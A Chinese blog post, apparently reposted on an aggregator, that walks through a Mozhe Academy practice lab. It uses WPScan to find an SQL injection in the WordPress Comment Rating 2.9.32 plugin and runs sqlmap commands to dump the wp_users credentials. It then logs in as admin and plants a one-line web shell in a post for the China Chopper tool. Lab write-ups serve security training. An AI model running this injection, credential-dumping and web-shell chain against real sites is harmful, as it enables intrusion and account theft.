美文网首页
墨者学院-WordPress插件漏洞分析溯源

墨者学院-WordPress插件漏洞分析溯源

作者: nohands_noob | 来源:发表于2019-07-21 15:39 被阅读0次

靶场地址：
https://www.mozhe.cn/bug/detail/S0JTL0F4RE1sY2hGdHdwcUJ6aUFCQT09bW96aGUmozhe

开启kali虚拟机，使用WPScan扫描漏洞
执行命令 wpscan -u 219.153.49.228:48309扫描漏洞

执行命令扫描插件漏洞wpscan -u 219.153.49.228:48309 --enumerate vp，扫描到插件漏洞，插件Comment Rating 2.9.32存在sql注入漏洞


网上查找漏洞详情，漏洞所在页面为：http://ip/wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a

交给sqlmap跑，执行 sqlmap -u "[url]"--dbs

执行sqlmap -u "[url]" -D test --tables

执行sqlmap -u "[url]" -D test -T wp_users --columns

执行sqlmap-u "[url]" -D test -T wp_users -C "user_login,user_pass" --dump --batch


后台登录地址：http://219.153.49.228:48309/wp-login.php
这里sqlmap显示出了点问题登录账号密码是 admin/12qwaszx

登录后台
在写文章处插入一句话代码，发布成功后查看文章，记录url，就可以上菜刀连接了


相关文章

网友评论

      本文标题：墨者学院-WordPress插件漏洞分析溯源

      本文链接：https://www.haomeiwen.com/subject/ljzmlctx.html

      延伸阅读

      深度阅读

      • 您也可以注册成为美文阅读网的作者，发表您的原创作品、分享您的心情！

      栏目导航

      热点阅读

      关于我们|服务条款|联系我们|墨者学院-WordPress插件漏洞分析溯源|投稿指南|网站地图|RSS订阅|排版工具|手机版

      提供经典美文摘抄,优美散文欣赏,现代诗歌精选,短篇小说,心情随笔,表白情书范文,故事会在线阅读欣赏

      Copyright © 2014-2023 Haomeiwen.com All Rights Reserved. 好美文阅读网 版权所有

      备案信息：桂公网安备 45052102000051号 · 桂ICP备13007215号-3

      本站所收录作品、热点评论等信息部分来源互联网，目的只是为了系统归纳学习和传递资讯

      所有作品版权归原创作者所有，与本站立场无关，如不慎侵犯了你的权益，请联系我们告知，我们将做删除处理！